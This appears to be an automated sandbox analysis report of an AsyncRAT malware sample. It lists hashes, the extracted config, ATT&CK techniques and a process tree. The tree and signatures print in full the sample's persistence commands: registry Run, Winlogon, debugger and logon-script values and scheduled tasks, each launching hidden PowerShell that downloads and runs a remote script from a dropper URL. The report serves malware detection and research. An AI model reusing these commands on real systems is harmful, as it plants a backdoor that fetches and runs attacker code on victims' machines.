asyncrat | 2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73

Analysis

max time kernel
900s
max time network
904s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/10/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
old.exe
Size 95KB
Sample261015-twragatt5l
SHA256 2ed5a06b27f8f27f9e8a0502283b88524663bc5c6ab235cb74fa0075b6356b73
MD5 cb344c4ddcd95ad1d04801028b889155
SHA1 2d788bcb33e2d84bbc936e04dd9164ebb53c5bb2
SHA512 1966831697066c5dd3a156063f028a76051a69e59e5bf255795c836c00ba4e3f857a2fefd98b1049acf62ebe871584cfd443116991f4993de53ae372fbfd4c23
SSDEEP 1536:8+xLZKY27fLB/SmueVZO1NbbsA7czqWzZAlGy+83yFJGc8L7Gix:8QZX27f1PueVk1NbbjcOAy2FUZx
TLSH
T13193E8443BFA4116F2FF5FBCADB16105897AB9232911D75C0CA425CE0A32B81DE52BB7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware default discovery execution asyncrat persistence rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://fifa55red.me/malware/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

6IVq6mkqQRYw

Attributes

delay
3
install
false
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\""	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	2868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2868	powershell.exe
256	powershell.EXE
3340	powershell.EXE
996	powershell.EXE

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\""	reg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2612	cmd.exe
6004	cmd.exe
5996	cmd.exe
5528	cmd.exe
2996	cmd.exe
5932	cmd.exe
3296	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	old.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	old.exe

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	old.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Meterpreter User-Agent 62 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	24	Meterpreter/1.0 (Windows)
HTTP User-Agent header	36	Meterpreter/1.0 (Windows)
HTTP User-Agent header	64	Meterpreter/1.0 (Windows)
HTTP User-Agent header	142	Meterpreter/1.0 (Windows)
HTTP User-Agent header	221	Meterpreter/1.0 (Windows)
HTTP User-Agent header	27	Meterpreter/1.0 (Windows)
HTTP User-Agent header	89	Meterpreter/1.0 (Windows)
HTTP User-Agent header	108	Meterpreter/1.0 (Windows)
HTTP User-Agent header	226	Meterpreter/1.0 (Windows)
HTTP User-Agent header	140	Meterpreter/1.0 (Windows)
HTTP User-Agent header	206	Meterpreter/1.0 (Windows)
HTTP User-Agent header	366	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12	Meterpreter/1.0 (Windows)
HTTP User-Agent header	104	Meterpreter/1.0 (Windows)
HTTP User-Agent header	228	Meterpreter/1.0 (Windows)
HTTP User-Agent header	593	Meterpreter/1.0 (Windows)
HTTP User-Agent header	31	Meterpreter/1.0 (Windows)
HTTP User-Agent header	33	Meterpreter/1.0 (Windows)
HTTP User-Agent header	233	Meterpreter/1.0 (Windows)
HTTP User-Agent header	273	Meterpreter/1.0 (Windows)
HTTP User-Agent header	601	Meterpreter/1.0 (Windows)
HTTP User-Agent header	8	Meterpreter/1.0 (Windows)
HTTP User-Agent header	93	Meterpreter/1.0 (Windows)
HTTP User-Agent header	100	Meterpreter/1.0 (Windows)
HTTP User-Agent header	134	Meterpreter/1.0 (Windows)
HTTP User-Agent header	173	Meterpreter/1.0 (Windows)
HTTP User-Agent header	39	Meterpreter/1.0 (Windows)
HTTP User-Agent header	189	Meterpreter/1.0 (Windows)
HTTP User-Agent header	201	Meterpreter/1.0 (Windows)
HTTP User-Agent header	565	Meterpreter/1.0 (Windows)
HTTP User-Agent header	23	Meterpreter/1.0 (Windows)
HTTP User-Agent header	34	Meterpreter/1.0 (Windows)
HTTP User-Agent header	40	Meterpreter/1.0 (Windows)
HTTP User-Agent header	106	Meterpreter/1.0 (Windows)
HTTP User-Agent header	155	Meterpreter/1.0 (Windows)
HTTP User-Agent header	20	Meterpreter/1.0 (Windows)
HTTP User-Agent header	198	Meterpreter/1.0 (Windows)
HTTP User-Agent header	202	Meterpreter/1.0 (Windows)
HTTP User-Agent header	13	Meterpreter/1.0 (Windows)
HTTP User-Agent header	70	Meterpreter/1.0 (Windows)
HTTP User-Agent header	266	Meterpreter/1.0 (Windows)
HTTP User-Agent header	199	Meterpreter/1.0 (Windows)
HTTP User-Agent header	22	Meterpreter/1.0 (Windows)
HTTP User-Agent header	28	Meterpreter/1.0 (Windows)
HTTP User-Agent header	60	Meterpreter/1.0 (Windows)
HTTP User-Agent header	96	Meterpreter/1.0 (Windows)
HTTP User-Agent header	107	Meterpreter/1.0 (Windows)
HTTP User-Agent header	204	Meterpreter/1.0 (Windows)
HTTP User-Agent header	209	Meterpreter/1.0 (Windows)
HTTP User-Agent header	42	Meterpreter/1.0 (Windows)
HTTP User-Agent header	21	Meterpreter/1.0 (Windows)
HTTP User-Agent header	41	Meterpreter/1.0 (Windows)
HTTP User-Agent header	14	Meterpreter/1.0 (Windows)
HTTP User-Agent header	19	Meterpreter/1.0 (Windows)
HTTP User-Agent header	35	Meterpreter/1.0 (Windows)
HTTP User-Agent header	65	Meterpreter/1.0 (Windows)
HTTP User-Agent header	219	Meterpreter/1.0 (Windows)
HTTP User-Agent header	229	Meterpreter/1.0 (Windows)
HTTP User-Agent header	546	Meterpreter/1.0 (Windows)
HTTP User-Agent header	242	Meterpreter/1.0 (Windows)
HTTP User-Agent header	143	Meterpreter/1.0 (Windows)
HTTP User-Agent header	210	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2896	schtasks.exe
4524	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1248	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2152	old.exe
2152	old.exe
2868	powershell.exe
2868	powershell.exe
2868	powershell.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
4820	powershell.exe
4820	powershell.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
4820	powershell.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe
2152	old.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1248	explorer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	old.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	4820	powershell.exe
Token: SeDebugPrivilege	256	powershell.EXE
Token: SeDebugPrivilege	3340	powershell.EXE
Token: SeDebugPrivilege	996	powershell.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1248	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1248	explorer.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2612	2152	old.exe	89
PID 2152 wrote to memory of 6004	2152	old.exe	91
PID 2152 wrote to memory of 5996	2152	old.exe	93
PID 2612 wrote to memory of 5740	2612	cmd.exe	95
PID 2152 wrote to memory of 5528	2152	old.exe	96
PID 2152 wrote to memory of 2996	2152	old.exe	98
PID 5996 wrote to memory of 3244	5996	cmd.exe	100
PID 6004 wrote to memory of 5940	6004	cmd.exe	101
PID 2152 wrote to memory of 5932	2152	old.exe	102
PID 5528 wrote to memory of 1952	5528	cmd.exe	104
PID 2152 wrote to memory of 3296	2152	old.exe	105
PID 2996 wrote to memory of 2408	2996	cmd.exe	107
PID 5932 wrote to memory of 4524	5932	cmd.exe	110
PID 3296 wrote to memory of 2896	3296	cmd.exe	111

C:\Users\Admin\AppData\Local\Temp\old.exe
"C:\Users\Admin\AppData\Local\Temp\old.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:5940
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:3244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:1952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2996
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:2408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4524
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2868

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://fifa55red.me/malware/load.ps1')"
1⤵
PID:2800

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://fifa55red.me/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://fifa55red.me/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4256

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:2456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://fifa55red.me/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93ee657517bd5c234cc95b880e9f7ec5ebefe7fc3fa600bd646deea3f0539687
MD5 e22320f989cf445a4e929e5cb7cad662
SHA1 ca71bb7069f75da894ce8a74fb6f20739935e368
SHA512 758a6c62e845be881d743169de15d020e25f527cd4e47b22db4aea697c8285180e6e2a53f3b19516445c79e88ed5b8ff4d98b5fff82b769d4faccf875418c571
TLSH
T16A215733F3CC8624DC9A413650CEAC1136B687DB409ECE6BBB84D558B42F289DF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 c5a47ea043d8ae5d393ee06780727c19d942ee8a0d4a623a8e15f35e00f47ea8
MD5 36a0edfa61161e4d1036dfd78fa5c0d8
SHA1 479db15ffea8da6e3f5907878427a01710bacd9e
SHA512 9bb32dd73b855c67cf5128d9a179c795760f676fc300d5f2ffb47d7d722b399c97e7fd56426c69905b7e48e232b36612daf8c5c8bab31e310f42f8604e255aa1
TLSH
T12F116633F3CC8624DC5A413610CEA82136B687CB40DECE6B7B84D154B42F685DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 f327e61c8115afaf6fe09bcd508950c66a0a4ef815eb3ffaf91e299a1d87e9f3
MD5 3bc5ff40eb0dd33c4b2d88261af90c44
SHA1 c8e2060fb5b70ee3154352ba5c5e75501f528fb2
SHA512 7eb527b1ff7f7c5f3626cff2cb014c6e1a4a92e357771bd5f7f76db9ef909a4d2563c0a0c81db8f4feadfc6d9dfdcb06d13924b699ff738ecef60b7d9fa88a69
TLSH
T135116633F3CC8224DC5A403610CEA81137B68BCB40DECE6B7B84D154B46F689DF61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_53azlfwq.2gj.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_53azlfwq.2gj.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2152-0-0x0000000074A02000-0x0000000074A03000-memory.dmp

Download

memory/2152-1-0x0000000000070000-0x000000000008E000-memory.dmp

Download

memory/2152-2-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/2152-8-0x0000000074A02000-0x0000000074A03000-memory.dmp

Download

memory/2152-11-0x00000000749F0000-0x00000000751AC000-memory.dmp

Download

memory/2868-5-0x000001DF37800000-0x000001DF37822000-memory.dmp

Download

memory/4820-9-0x000001C3C5580000-0x000001C3C55C8000-memory.dmp

Download